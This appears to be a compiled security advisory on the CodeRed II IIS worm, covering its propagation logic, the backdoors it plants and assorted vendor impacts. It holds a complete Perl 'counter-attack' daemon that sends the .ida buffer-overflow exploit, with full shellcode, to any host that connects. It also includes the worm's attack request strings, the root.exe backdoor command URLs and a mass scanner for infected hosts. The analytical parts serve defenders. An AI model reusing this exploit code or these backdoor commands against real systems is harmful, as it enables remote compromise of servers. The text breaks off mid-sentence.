COMMAND
CodeRed II
SYSTEMS AFFECTED
many systems
PROBLEM
There is a new version of Code Red which appears to be spreading
rather rapidly.
- Appears to be a new re-write.
- Drops some sort of remote access trojan.
- Turns off System File Checker (Windows File Protection.)
- Moves CMD.EXE to the scripts directory in IIS (\inetpub\scripts
and \program files\common files\system\msadc)
- Looks like the way they make the entry into code very
differently than before.
- If your IDS is looking for "NNNN", forget it (but then you
should have been shot if you used this string anyway)
Trojan's actions, modifying registry entries, will only work when
their explorer.exe is invoked by a member of the Administrators
group or SYSTEM. This does not appear to be done by the worm
itself (which is running in SYSTEM context), but relies upon an
interactive logon by a member of the Administrators group. With
the worm making copies of CMD.EXE into web accessible and
executable directories, it would be possible to invoke the Trojan
explorer.exe but that would happen in the context of IUSR, which
has insufficient permissions to make the registry changes.
Further, if we assume the Trojan's intended infection vector was a
logon by an Administrator, only Windows 2000 machines which have
not applied SP2 or MS00-052 will run the Trojan program.
It would seem that there is a possible problem with the Code Red
virus affecting IIS server and MS Proxy, even if you have applied
the buffer-overflow patch. People have experienced problems with
Proxy server stopping.
Some code for begining:
#!/usr/bin/perl -w
#Code Red Counter Measures v1.0 by Digital Ebola <digi@legions.org>
#Exploit ripped from rafa@box.sk
#Breakdown: Basically this thing is going to sit on a port (80) and watch for incoming
#webrequests. When it receives one, it will attempt to contact that machine, and overflow
#via idq. This code is quite unfinished, and unrefined. I would like to add expect to it
#and have it create a c:\notworm file on the attacking host. These are features to come.
#The posted exploit by rafa@box.sk is untested by me, but I have tested this daemon, and
#it does make get .ida requests.
#TODO: 1. attack codered infections specifically
# 2. add expect module, and logic needed to automatically copy con the c:\notworm file.
# 3. test the damn thing.
#Yes, I do know this kind of setup can be used for evil. That was my first intention, as old
#habits die hard. Hopefully, this will stop alot of reoccuring infections, and I hope this
#shows the goodness of my beliefs in good countermeasures. Hacker A releases evil code, Hacker
#B releases good code to kill Hacker A's code.
use POSIX;
use IO::Socket;
use Socket;
#Shellcode ripped from rafa@box.sk
@shellcode = ("\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c\x90\x90\x90",
"\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71",
"\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14\x24\x63\xbd",
"\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14",
"\x24\xaa\xbc\xd9\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3\x99\x14\x2c",
"\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c",
"\xaa\xbc\xd9\x99\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14",
"\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99",
"\x99\x14\x2c\x6c\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\xd9\x99\x34",
"\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99",
"\x14\x2c\x68\xbc\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9\x99\x34\x14",
"\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99",
"\x99\x99\x5e\x1c\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99\xcf\x14\x2c",
"\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf",
"\xd9\x99\xcf\xf3\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1\x99\x9b\x99",
"\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66",
"\x0c\x63\xbd\xd9\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66\x0c\x67\xbd",
"\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50",
"\xbc\xd9\x99\xcf\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32\xaa\x59\xc9",
"\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6",
"\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59\xc9\x14\x24",
"\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9",
"\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b\x8e\x98\x99",
"\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf",
"\xd9\x99\x99\xb9\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce",
"\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9",
"\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9\x14\x2c\xc8",
"\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99",
"\x14\x24\xfc\xbf\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9\x99\x34\xc9",
"\x66\x0c\xa6\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9",
"\x99\x96\x1e\xfe\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8\xbf\xd9\x99",
"\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9",
"\x99\xf3\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c",
"\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc\xd9\x99\xf3",
"\x99\x12\x1c\xf8\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99",
"\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xa9\x66\x0c\xd6\xbc",
"\xd9\x99\x70\x20\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc\xd9\x99",
"\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9",
"\x99\xc8\xcf\xf1\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8\xcf\xca\xf1",
"\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce",
"\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0",
"\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef",
"\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab",
"\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec",
"\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8",
"\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5",
"\xd8\xf5\xf5\xf6\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0\xed\xfc\xdf",
"\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc",
"\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd\xb9\xfb\xe0",
"\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7",
"\xf6\xeb\xfe\xa7\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x95",
"\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",
"\x99\x99\x99\x99\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99\x89\x99\x99",
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90",
"\x90\x90\x90\x90");
$send="";
@offset=("%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a",
"%u08eb%u16de%u77e5%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF=a",
"%u0101%u00b5%u0101%u00b5%u0101%u00b5%u0101%u00b5=x",
"%u0abf%u00b6%u0abf%u00b6%u0abf%u00b6%u0abf%u00b6=x");
$port = "80";
$offst = "0";
$max_connections = "100";
$server = IO::Socket::INET->new(LocalPort => $port,
Listen => $max_connections )
or die "Couldn't start server on $port : $@\n";
sub REAPER {
1 until (-1 == waitpid(-1, WNOHANG));
$SIG{CHLD} = \&REAPER;
}
$SIG{CHLD} = \&REAPER;
#while ($hisaddr = accept($client, $server)) {
while ($client = $server->accept()) {
$client->autoflush(1);
next if $pid = fork;
die "fork $!" unless defined $pid;
#otherwise child
close ($server);
$hisip = getpeername($client)
or die "Couldn't identify other end: $!\n";
($hisport, $hisiaddr) = unpack_sockaddr_in($hisip);
$hisip = inet_ntoa($hisiaddr);
print $client "Your 0wned.";
print $client "\n\n";
#rafa's code here too...
foreach $bufer(@shellcode) {
$send="$send$bufer"; }
$shit = "N"x230;
$othershit = "\x90"x11800;
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$hisip", PeerPort=>"80"); unless ($connect) { die "cant connect $hisip" }
print $connect "GET /test.ida?$shit$offset[$offst] HTTP/1.0\nyahoo: $othershit$send";
exit;
} continue {
close($client);
}
IBM ethernet switch 8275 model 416 reboots when scanned by Code
Red infected machines.
Following is a text version of one of our Incident Analysis
Reports from the ARIS project. Probably of most interest to this
mailing list is the section down a ways called "technical
Details". Hope you find it useful.
This worm takes advantage of the same vulnerability as the widely
publicized Code Red worm. This worm is not a variant of Code
Red, however, the author has embedded the string "CodeRedII"
inside the code. This would seem to indicate that this worm is
in response to, or inspired by, the original Code Red worm.
This worm has a more malicious payload, a backdoor access method.
It leaves a copy of cmd.exe, named root.exe, in a location
accessible to the web server. If successful, this will allow any
attacker (not just the worm author) access to the victim web
server at a later date.
This worm has been spreading extremely quickly. It takes
advantage of the same ISAPI Indexing Service buffer overflow as
Code Red. However, this worm is a bit more damaging, as it
leaves a backdoor on the victim web server. Once it has infected
a new victim, it spreads out from there, but it favors the same
address space as the current victim. This turns out to be a very
effective spreading mechanism, and many hosts have been
compromised in a very short period of time.
The original Code Red worm sends the following request during the
attack:
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0
The new worm sends a very similar header:
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0
The difference is that it uses X instead of N as its filler
character. The machine code that follows is different between
the two.
By now, all the major IDS vendors have rules to catch the overflow
attempts. In addition, some of the IDS' are spotting the string
"cmd.exe" in the exploit code, and alarming on that.
SecurityFocus recommends that you update to the latest ruleset
available for your IDS as soon as possible. Even if you are not
affected by the attempts, there are efforts underway to notify
other Internet users that appear to be infected.
Note that the cmd.exe attacks have a very sharp growth rate,
while the actual overflow attacks remain relatively flat. The
cmd.exe attacks are new with this worm (they didn't appear with
Code Red), while Code Red tends to mask the activity of the new
worm at present.
The new worm doesn't favor a particular language version of
Windows 2000 for attack. In fact, it attacks all language
versions, and if it finds it is running on a Chinese version of
Windows, it spawns twice as many threads.
Following technical description is based on an analysis and
disassembly performed by Marc Maiffret and Ryan Permeh of eEye
Digital Security. Their full analysis and disassembly can be
found at the following location:
http://www.eeye.com/html/advisories/coderedII.zip
The worm has three sections: The infection mechanism, the
propagation mechanism, and trojan component.
When the worm successfully installs itself on a new victim, it
goes through a number of initialization steps:
* Obtains the current victim's IP address (used in propagation
step, see below)
* Checks to see if the system language is Chinese (Taiwanese or
PRC)
* Checks for previous execution, if so then it jumps to propagation
* Checks to see if the "CodeRedII" atom has been set, if so then
sleep forever (kills new arrivals of same worm)
* Adds the "CodeRedII" atom (if previous check failed)
* Sets the number of worker threads to 300, or if it is a Chinese
system, 600.
* Spawns a thread back at the first step, which will then jump to
propagation, since that will no longer be the first execution
* Calls the trojan functions
* Sleeps for 1 day on non-Chinese system, 2 on Chinese
* Reboots the system (which will remove any memory resident worms,
leaving only the backdoors and explorer.exe trojan)
The propagation mechanism is the most novel aspect of this
particular worm. Here are the steps performed:
* Check local time. If it is less than the year 2002 and is also
less than the 10th month, then continue. Otherwise, reboot.
This should limit the worm to the end of September, 2001 if it
lives that long.
* Sets up the sockets needed to connect to other potential
victims. Uses non-blocking sockets, which gives a performance
advantage.
* If it gets a connect, it sends a copy of itself (so far, all
copies are identical, no self-modifying code)
* Repeat
The most interesting piece is how it selects a new victim IP
address to try. The worm generates 4 octets in the range 1
through 254, to avoid IP addresses with a 0 or 255. It takes one
of these bytes, and binary ANDs it with 7, yielding a random
number between 0 and 7. It then consults a table:
dd 0FFFFFFFFh ; 0 - addr masks
dd 0FFFFFF00h ; 1
dd 0FFFFFF00h ; 2
dd 0FFFFFF00h ; 3
dd 0FFFFFF00h ; 4
dd 0FFFF0000h ; 5
dd 0FFFF0000h ; 6
dd 0FFFF0000h ; 7
which determines how much of the randomly generated IP address
will be used versus the original address. For example, if it
generates a 5, then half will be random, and half will be the old
IP address. If the current victim IP address is 192.168.1.1, the
new one to try might be 192.168.45.67 (byte order is reversed in
the machine code.)
This has the result that 3 times out of 8, it stays within the
equivalent of a Class B of the attacker, 4 times out of 8, it
stays within a Class A equivalent, and 1 time out of 8, it goes
after a completely random IP address.
For the most part, the Internet address space is a sparse matrix.
Many of the possible (and assigned) addresses are not reachable
from the Internet. Still others have been delegated to a
particular ISP or geographic region, but are not yet in use by
actual customers. The result is that actual hosts tend to be
bunched together in numerically-related netblocks. The CodeRed II
worm favors nearby IP addresses which tend to have similar host
types (i.e. Windows), so it is exhibiting a much higher rate of
growth than previous worms. This also means that if it finds its
way onto an RFC1918 network, it would likely be much more damaging
to that network than previous worms.
It should also be noted that the worm takes measures to avoid
127.x.x.x and 224.x.x.x. Finally, during the trojan step is when
the backdoors are installed. This portion has the following
steps:
* Gets the system directory (usually c:\winnt\system32)
* Appends cmd.exe to the string
* Copies the resulting string (usually c:\winnt\system32\cmd.exe)
to c:\inetpub\scripts\root.exe and
c:\progra~1\common~1\system\MSADC\root.exe
* Creates c:\explorer.exe
* Goes back and repeats the steps for drive d: instead of c:
The worm itself is memory-resident only. However, it may leave
behind files named root.exe, in the script and msadc directories
under the IIS webroot. These should of course be deleted, as
they are copies of cmd.exe, and will permit remote access to your
web server. In addition, a file named explorer.exe will be
created in the root of c: and d: if it exists. This needs to be
removed, and the host rebooted.
Here is more details about Infection steps performed by worm.
A. The first thing the worm does is setup a jump table so that it
can get to all of its needed functions.
seg000:000001D0
B. The worm then proceedes to get its local IP address. This is
later used to deal with subnet masks (propagation) and to make
sure that the worm does not reinfect the local system.
seg000:000001D5
C. Next, the worm gets the local System Language to see if the
local system is running Chinese (Taiwanese) or Chinese (PRC).
seg000:000001F9
D. At this point the worm checks if we've executed before, and if
so, then the worm will procede to the propagation section.
(propagation section)
seg000:0000021A
E. Next, the worm will check to see if a CodeRedII atom has been
placed (GlobalFindAtomA). This functionality allows the worm
to make sure not to re-infect the local machine. If it sees
that the atom exists then it sleeps forever.
seg000:00000240
F. The worm will add a CodeRedII atom. This is to allow the
worm the functionality to check to see if a system has already
been infected with the worm.
seg000:0000027D
G. The worm now sets its number of threads to 300 for non-Chinese
systems. If the system is Chinese then it sets it to 600.
seg000:00000286
H. At this point the worm spawns a thread starting back at step
A. The worm will spawn threads according to the number set
from G. Each new thread will be a propagation thread.
seg000:000002BA
I. This is where the worm calls the trojan functionality. You can
find an analysis of the trojan mechanism down below in the
Trojan System section.
seg000:000002C4
K. The worm then sleeps for 1 day if the local system is not
Chinese, 2 days if it is.
seg000:000002DA
L. Reboot Windows.
seg000:000002E1
For steps of propagation, this is used to spread the worm further.
seg000:000002EB
A. Setup local IP_STORAGE variable. This is used for worm
propagation functionality and to make sure not to re-infect
the local system.
seg000:000002EB
B. Sleep for 64h miliseconds
seg000:000002F1
C. Get local system time. The worm checks to see if it the year
is less than 2002 or if the month is less than 10. If the date
is beyond either of those, then the worm reboots the local
system. That basically limits the worm to 10/01 for its
spreading (In a perfect world.)
seg000:000002FD
D. Setup SockAddr_in. This will reference the GET_IP section.
seg000:0000031A
E. Setup Socket: This performs a Socket(), stores the handle,
then makes it a non-blocking socket (this is important for
speed dealing with connect() calls)
seg000:00000337
F. Connect to the remote host, if it returns a connect right
away, goto H.
seg000:00000357
The following is how the worm generates the IP address for the
next host to connect to:
GET_IP: ; CODE XREF: sub_1C4+168p
call GET_OCTET ; load 4th octet (this is in reverse ordwer due to
byte ordering)
mov bh, al
call GET_OCTET ; get 3rd octet
mov bl, al
shl ebx, 10h ; shift bx to the top of ebx
call GET_OCTET ; get 2nd octet
mov bh, al
call GET_OCTET ; 1st
mov bl, al
call GEN_OCTET ; get first octet
and eax, 7 ; and it by 7
call CHECK_ADDR_MASK ; ecx has eip
For each octet, generate a psuedo random byte between 1 and
254, next get a random octet between 1 and 254 and mask it by
7 finally, use this last byte to gen a 1st octet.
Most pertinent bit is CHECK_ADDR_MASK
This specifies the following:
dd 0FFFFFFFFh ; 0 - addr masks
dd 0FFFFFF00h ; 1
dd 0FFFFFF00h ; 2
dd 0FFFFFF00h ; 3
dd 0FFFFFF00h ; 4
dd 0FFFF0000h ; 5
dd 0FFFF0000h ; 6
dd 0FFFF0000h ; 7
This mask is applied to the local systems IP address, and
matched to the generated IP Address. This makes a new ip
with 0,1 or 2 bytes of data with the local ip.
For instace, the worm will 1/8th of the time generate a random
IP not within any ranges of the local IP Address. 1/2th of
the time, it will stay within the same class A range of the
local IP Address 3/8th of the time, it will stay within the
same class B range of the local IP Address
Also note that if the IP the worm generates is 127.x.x.x,
224.x.x.x, or the same as the local systems IP address then the
worm will skip that IP address and generate a new IP address to
try to infect.
The way the worm generates IP addresses allows it to find more
possible IIS web servers quicker then the other CodeRed worms
that have previously been released. This new worm is also
going to cause a lot more data to be zig zaged across networks.
G. Do a select to get the handle. If no handle is returned, then
goto K.
seg000:000003B6
H. Set socket to Blocking. This is so select isn't required after
the connect.
seg000:000003C5
I. Send a copy of the worm.
seg000:000003E4
J. Do a recv. this is not actually used anywhere.
seg000:000003FC
K. Close the socket and loop to A.
This portion of the worm is designed to dump root.exe (root.exe
is cmd.exe) into msadc and scripts, and create a trojan on the
local drive.
seg000:00000804
A. Get System directory, this gets the native system directory
(ie, c:\winnt\system32)
seg000:00000810
B. Append cmd to the system directory string (c:\winnt\system32\cmd.exe)
seg000:00000828
C. Set drive modifier to c:
seg000:0000082D
D. copy cmd.exe to /scripts/root.exe (Actual path: Drivemodifier:\inetpub\scripts\root.exe)
seg000:00000831
E. copy cmd.exe to /msadc/root.exe (Actual Path: DriveModifier:\progra~1\common~1\system\MSADC\root.exe)
seg000:00000863
F. Intitialize area for explorer.exe
seg000:000008A2
G. Create Drive/explorer.exe (drive is c, then d)
seg000:00000E83
H. The worm now writes out explorer.exe. There is an embedded
binary within the worm that will be written out to
explorer.exe. It has the property that if an embedded byte is
0xFC, it geplaced by 20h 0x00 bytes instead of the regularbyte.
For more on what the trojan explorer.exe binary does then goto
the Explorer.exe Trojan section. Also the way NT works is
that when a user logs into the local system it has to load
explorer.exe (desktop, task bar etc...) however NT looks for
explorer.exe first in the main drive path c:\ which means the
trojan explorer.exe is going to be loaded the next time a user
logs in... therefore keeping the system trojaned over and
over and over.
seg000:00000EC8
I. close explorer.exe
seg000:00000ED5
J. Change drive modifier to D, then the worm goes back to the
code in step D. After it is done then it goes back to step k
of the infection process.
seg000:00000EDD
explorer.exe quick overview:
============================
1. Get local systems windows directory.
2. Execute explorer.exe from within the local systems windows
directory.
3. The worm now goes into the following loop:
while(1)
{
set SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable to
0FFFFFF9Dh, which basically disables system file protection.
set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\Scripts to ,,217
set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\msadc to ,,217
Set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\c to c:\,,217
Set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\d to d:\,,217
sleep for 10 minutes
}
Basically the above code creates a virtual web path (/c and /d)
which maps /c to c:\ and /d to d:\. The writer of this worm has
put in this functionality to allow for a backdoor to be placed on
the system so even if you remove the root.exe (cmd.exe prompt)
from your /scripts folder an attacker can still use the /c and /d
virtual roots to compromise your system. The attacks would
basically look like:
http://IpAddress/c/inetpub/scripts/root.exe?/c+dir
(if root.exe was still there) or:
http://IpAddress/c/winnt/system32/cmd.exe?/c+dir
Where dir could be any command an attacker would want to execute.
As long as the trojan explorer.exe is running then an attacker
will be able to remotely access your server.
It appears that most of the CRII and III traffic is coming from
W2K servers from home user machines.
Here is the scanner for root.exe:
#!/usr/bin/perl
#################################################################
# domscan heavily modified to find root.exe on any number #
# of hosts. Although not the quickest scanner it's better #
# than searching by hand, no? #
# Also you can play with the timeout to your likeings. I just #
# chose 2 because of slow webservers. Feel free to try 1. #
# if you modify this please put my email on it, and send me #
# the revised code. #
# written by: idawson@athenasecurity.com. #
# (domscan written by Pavel Aubuchon-Mendoza, 1998 #
# root@deviance.org, http://www.deviance.org/ #
# give props to him because his ip scheme is sweet ;). #
# Usage: ./rootscan 111.111.111.111 222.222.222.222 #
#################################################################
use IO::Socket;
$start = $ARGV[0];
$end = $ARGV[1];
$EOL = "\015\012";
$BLANK = $EOL x 4;
if($start eq "" || $end eq "") { &usage; }
print "Show every connection attempt [y/n]?: ";
chomp($verbose=<STDIN>);
if ($verbose eq "y")
{
$verbose = 1;
} else {
$verbose = 0;
print "\n\nPlease wait for results...\n"
}
@ip1 = split(/\./,$start);
@ip2 = split(/\./,$end);
$numip1 = &countelm(@ip1);
$numip2 = &countelm(@ip2);
if($numip1 ne 4 || $numip2 ne 4) {
print "\nMalformed Ip address!\n";
die "Breaking on bad IP";
}
$ip1 = (($ip1[0]*16777216)+($ip1[1]*65536)+($ip1[2]*256)+$ip1[3]);
$ip2 = (($ip2[0]*16777216)+($ip2[1]*65536)+($ip2[2]*256)+$ip2[3]);
if($ip2 < $ip1) { die "Way to type cap'n..."; }
print "\nroot.exe Scanner Written by: idawson\@athenasecurity.com\n";
print "Scanning from $start to $end\n\n";
$cip = $ip1;
$eip = $ip2+1;
$log = "$start.log";
open(FOUND, ">>$log") || warn "can't log to $log: $!";
@dirs = ("/msadc", "/scripts");
@found = ();
$i = 0;
while($cip ne $eip)
{
@bytes = &getquad($cip);
$target = "$bytes[0]\.$bytes[1]\.$bytes[2]\.$bytes[3]";
foreach $dirs (@dirs)
{
$flag = 0;
@res = ();
$results = ();
if ($verbose == 1) { print "\nTrying $target$dirs/root.exe\t"; }
$host = $target;
$port = 80;
$sock = new IO::Socket::INET(PeerAddr => $host,
PeerPort => $port,
Timeout => 2,
Proto => 'tcp');
if(!$sock) { $flag = 0;
if ($verbose == 1) { print "Can't Connect";}
} else {
$SIG{ALRM} = sub { die "Timed Out"; };
alarm(10);
eval {
$cmd = "GET $dirs/root.exe?/c+dir HTTP/1.0$BLANK";
print $sock "$cmd";
read $sock, $results, 1000;
alarm(0); # cancel pending alarm
};
}
if ($@ =~ /Timed Out/) {
print "Timed out\n";
close($sock);
} else {
@res = split(/\n/, $results);
if ($res[0] =~ /HTTP\/1.1 200/)
{
$found[$i] = ("$target$dirs\n");
$flag = 1;
print FOUND "$found[$i]\n";
if ($flag == 1 && $verbose == 1)
{ print "\tFound\n";
}
}
if ($flag == 0 && $verbose == 1) { print "\tNot Found\n"; }
}
$i++;
}
$cip++;
}
@flog = (
"IP\(s\) with root.exe backdoor:",
"-----------------------------",
);
print join("\n",@flog) . "\n";
print @found;
close(FOUND);
sub getquad {
my($ip) = @_;
$bytes[0] = int $ip/16777216;
$rem = $ip % 16777216;
$bytes[1] = int $rem/65536;
$rem = $rem % 65536;
$bytes[2] = int $rem/256;
$rem = $rem % 256;
$bytes[3] = $rem;
@bytes;
}
sub usage {
print "root.exe scanner for help locating cr2 backdoor.\n\n";
print "coded by:idawson\@athenasecurity.com";
print "\nSyntax:\n\n";
print " $0 [starting IP] [ending IP]\n\n";
print " Ex : $0 1.1.1.1 1.1.2.36\n\n\n";
die "Invalid syntax.\n";
}
sub countelm {
my(@ip) = @_;
$count = 0;
while($ip[$count] ne "") {
$count++;
}
$count;
}
It has been confirmed that despite being patched, some NT4
servers are subject to crashing when processing URLS from Code
Red and its variants. This occurs on patched NT4 servers that
use redirection. W2K is not affected. Those of you using
redirection enabled in the IIS Snap-in should take immediate
action to ensure you are not vulnerable to this problem. This is
not a problem if you use scripting to redirect your site or pages.
For those of you with Xerox N40 printers that have been falling
over on the Code Red worm scan, Xerox has a firmware upgrade.
Call Xerox support at 800-835-6100, push 1, push 1, and ask for
the 1.87-25 version of the firmware.
There's a common misconception floating around that Windows 2000
Professional cannot be participating in the Code Red issue. This
is flat out wrong!
Its believed that PWS (Personal Web Server) on W2K Professional is
somehow *not* IIS 5.0 (Internet Information Services 5.0). This
is flat out wrong!
PWS on W2K **IS** IIS 5.0. The difference between these two
"products" is not in the code that they operate, or the features
they support, its strictly within the Management Interface.
PWM, or Personal Web Manager, is an executable which provides
limited control over the web server. Internet Services Manager
is the full-blown MMC snap-in which provides all control over the
web server.
Either can be used on a W2K Professional Box which has installed
IIS (or PWS). They can be found on such a box in the following
locations:
